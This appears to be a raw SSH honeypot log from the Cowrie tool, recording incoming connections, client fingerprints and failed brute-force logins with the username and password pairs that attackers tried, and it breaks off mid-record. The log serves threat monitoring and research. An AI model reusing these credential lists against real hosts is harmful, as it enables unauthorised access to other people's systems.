{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:44.894144Z","src_ip":"45.94.68.69","session":"e8d926a1b175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":39830,"dst_ip":"10.17.0.5","dst_port":22,"session":"35ddde7559ae","protocol":"ssh","message":"New connection: 152.53.185.81:39830 (10.17.0.5:22) [session: 35ddde7559ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:45.749241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:45.752961Z","src_ip":"152.53.185.81","session":"35ddde7559ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password2","message":"login attempt [root/password2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:45.769435Z","src_ip":"45.94.68.69","session":"e8d926a1b175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:45.843259Z","src_ip":"152.53.185.81","session":"35ddde7559ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yy123456789","message":"login attempt [root/Yy123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:46.237630Z","src_ip":"152.53.185.81","session":"35ddde7559ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:46.981893Z","src_ip":"45.94.68.69","session":"e8d926a1b175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:47.327195Z","src_ip":"152.53.185.81","session":"35ddde7559ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48894,"dst_ip":"10.17.0.5","dst_port":22,"session":"e580b08228d5","protocol":"ssh","message":"New connection: 8.210.75.243:48894 (10.17.0.5:22) [session: e580b08228d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:49.126372Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":34170,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c9f1333ecf3","protocol":"ssh","message":"New connection: 80.66.85.226:34170 (159.203.135.109:22) [session: 8c9f1333ecf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:54.003837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:54.008491Z","src_ip":"80.66.85.226","session":"8c9f1333ecf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:54.091785Z","src_ip":"80.66.85.226","session":"8c9f1333ecf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"666fafnir","message":"login attempt [root/666fafnir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:54.345870Z","src_ip":"80.66.85.226","session":"8c9f1333ecf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:26:55.431843Z","src_ip":"80.66.85.226","session":"8c9f1333ecf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.116.254.157","src_port":50224,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0d1aa7516e5","protocol":"ssh","message":"New connection: 154.116.254.157:50224 (10.17.0.5:22) [session: e0d1aa7516e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:08.465909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:08.469345Z","src_ip":"154.116.254.157","session":"e0d1aa7516e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:08.635304Z","src_ip":"154.116.254.157","session":"e0d1aa7516e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"password","message":"login attempt [mysql/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:09.333537Z","src_ip":"154.116.254.157","session":"e0d1aa7516e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:10.501987Z","src_ip":"154.116.254.157","session":"e0d1aa7516e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":48398,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a0d1e667c2f","protocol":"ssh","message":"New connection: 50.6.173.74:48398 (159.203.135.109:22) [session: 2a0d1e667c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:11.366882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:11.370905Z","src_ip":"50.6.173.74","session":"2a0d1e667c2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:11.396492Z","src_ip":"50.6.173.74","session":"2a0d1e667c2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"helium","password":"helium123","message":"login attempt [helium/helium123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:11.483707Z","src_ip":"50.6.173.74","session":"2a0d1e667c2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:12.512014Z","src_ip":"50.6.173.74","session":"2a0d1e667c2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.101.25","src_port":54536,"dst_ip":"159.203.135.109","dst_port":22,"session":"615d635f18c5","protocol":"ssh","message":"New connection: 103.97.101.25:54536 (159.203.135.109:22) [session: 615d635f18c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:14.082189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:14.085813Z","src_ip":"103.97.101.25","session":"615d635f18c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:14.320856Z","src_ip":"103.97.101.25","session":"615d635f18c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rk@123456","message":"login attempt [root/rk@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:15.297778Z","src_ip":"103.97.101.25","session":"615d635f18c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:16.535647Z","src_ip":"103.97.101.25","session":"615d635f18c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.137.135","src_port":55510,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab1363fb16a6","protocol":"ssh","message":"New connection: 211.106.137.135:55510 (10.17.0.5:22) [session: ab1363fb16a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:19.976915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:19.996446Z","src_ip":"211.106.137.135","session":"ab1363fb16a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:20.195399Z","src_ip":"211.106.137.135","session":"ab1363fb16a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":50488,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab73a972fe6f","protocol":"ssh","message":"New connection: 103.122.221.179:50488 (10.17.0.5:22) [session: ab73a972fe6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:20.434180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:20.437058Z","src_ip":"103.122.221.179","session":"ab73a972fe6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:20.683925Z","src_ip":"103.122.221.179","session":"ab73a972fe6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"computer","message":"login attempt [ubuntu/computer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:20.998727Z","src_ip":"211.106.137.135","session":"ab1363fb16a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02061977","message":"login attempt [root/02061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:21.431723Z","src_ip":"103.122.221.179","session":"ab73a972fe6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:22.202489Z","src_ip":"211.106.137.135","session":"ab1363fb16a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:22.681736Z","src_ip":"103.122.221.179","session":"ab73a972fe6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":45668,"dst_ip":"159.203.135.109","dst_port":22,"session":"fac4a0d0cb3e","protocol":"ssh","message":"New connection: 103.199.16.90:45668 (159.203.135.109:22) [session: fac4a0d0cb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:36.539863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:36.543302Z","src_ip":"103.199.16.90","session":"fac4a0d0cb3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"